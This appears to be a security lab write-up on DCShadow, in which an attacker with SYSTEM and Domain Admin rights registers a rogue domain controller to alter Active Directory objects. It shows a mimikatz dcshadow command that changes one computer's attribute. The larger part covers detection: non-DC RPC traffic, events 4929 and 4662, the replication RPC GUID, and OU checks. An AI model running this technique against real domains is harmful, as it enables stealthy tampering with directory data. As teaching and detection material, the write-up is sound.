DCShadow - Becoming a Rogue Domain Controller
DCShadow allows an attacker with enough privileges to create a rogue Domain Controller and push changes to the DC Active Directory objects.
For this lab, two shells are required - one running with
SYSTEM privileges and another one with privileges of a domain member that is in Domain admins group:
In this lab, I will be trying to update the AD object of a computer
pc-w10$. A quick way to see some of its associated properties can be achieved with the following powershell:PS c:\> ([adsisearcher]"(&(objectCategory=Computer)(name=pc-w10))").Findall().Properties
Note the
badpwcount property which we will try to change with DCShadow by setting the value to 9999:[email protected]/SYSTEM console
mimikatz # lsadump::dcshadow /object:pc-w10$ /attribute:badpwdcount /value=9999
We can now push the change to the primary Domain Controller
DC-MANTVYDAS:Below are the screenshots of the above commands and their outputs as well as the end result, indicating the
badpwcountvalue getting changed to 9999:
As suggested by Vincent Le Toux who co-presented the DCShadow, in order to detect this type of rogue activity, you could monitor the network traffic and suspect any non-DC hosts (our case it is the PC-W10$ with
10.0.0.7) issuing RCP requests to DCs (our case DC-MANTVYDAS with 10.0.0.6) as seen below:
Same for the logs, if you see a non-DC host causing the DC to log a
4929 event (Detailed Directory Service Replication), you may want to investigate what else is happening on that system:
Current implementation of DCShadow in mimikatz creates a new DC and deletes its associated objects when the push is complete in a short time span and this pattern could potentially be used to trigger an alert, since creation of a new DC, related object modifications and their deletion all happening in 1-2 seconds time frame sound anomalous. Events
4662 may be helpful for identifying this:
Per Luc Delsalle's post on DCShadow explanation, one other suggestion for detecting rogue DCs is the idea that the computers that expose an RPC service with a GUID of
E3514235–4B06–11D1-AB04–00C04FC2DCD2, but do not belong to a Domain Controllers Organizational Unit, should be investigated. We see that our suspicious computer exposes that exact service:
..but does not belong to a
Domain Controllers OU:([adsisearcher]"(&(objectCategory=computer)(name=pc-w10))").Findall().Properties.distinguishedname
# or
(Get-ADComputer pc-w10).DistinguishedName
Outputs for computer NOT belonging to DC OU and one belonging, respecitvely
Below are the resources related to DCShadow attack. Note that there is also a link to youtube by a security company Alsid, showing how to dynamically detect DCShadow, so please watch it.
https://www.youtube.com/watch?v=yWFUKwZaT_4
www.youtube.com
Dynamic Detection of DCShadow
